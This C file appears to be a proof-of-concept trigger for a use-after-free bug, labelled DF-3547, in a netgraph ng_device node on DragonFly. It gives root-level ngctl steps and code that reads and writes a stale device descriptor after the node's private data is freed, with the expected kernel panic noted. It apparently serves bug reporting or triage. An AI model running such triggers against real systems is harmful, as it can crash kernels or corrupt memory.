DF-3547 / stalefd.c
/* * DF-3547 trigger — stale-fd use-after-free against ng7 ng_device. * * CANNOT RUN on stock DragonFly: the ng7 ng_device node type does not * compile / is not wired into any build (see ../build.log, ../env.txt). * * Intended sequence (requires a ported & loaded ng_device type, root): * 1. ngctl mkpeer . device dl dl (creates the node, /dev/ngdN appears) * 2. ./stalefd (open /dev/ngdN, park on the fd) * 3. ngctl rmhook <node> dl (disconnect: destroy_dev(async) + kfree(priv)) * 4. press ENTER (read()/write() now touch freed priv) * * Expected on a vulnerable build: INVARIANTS panic / objcache double-free from * IF_DEQUEUE on the drained-then-freed readq (read), or a walk through the freed * priv->hook pointer (write). */ #include <fcntl.h> #include <stdio.h> #include <unistd.h> int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/ngd0"; char buf[256]; ssize_t n; int fd; fd = open(dev, O_RDWR); if (fd < 0) { perror("open"); return (1); } printf("[+] opened %s fd=%d\n", dev, fd); printf("[+] now run: ngctl rmhook <device-node> dl then press ENTER\n"); if (getchar() < 0) return (1); n = read(fd, buf, sizeof(buf)); /* UAF: IF_DEQUEUE on freed readq */ printf("[+] read() -> %zd (errno=%d)\n", n, (int)(n < 0 ? -1 : 0)); n = write(fd, "AAAA", 4); /* UAF: NG_SEND_DATA_ONLY(priv->hook) */ printf("[+] write() -> %zd\n", n); return (0); } |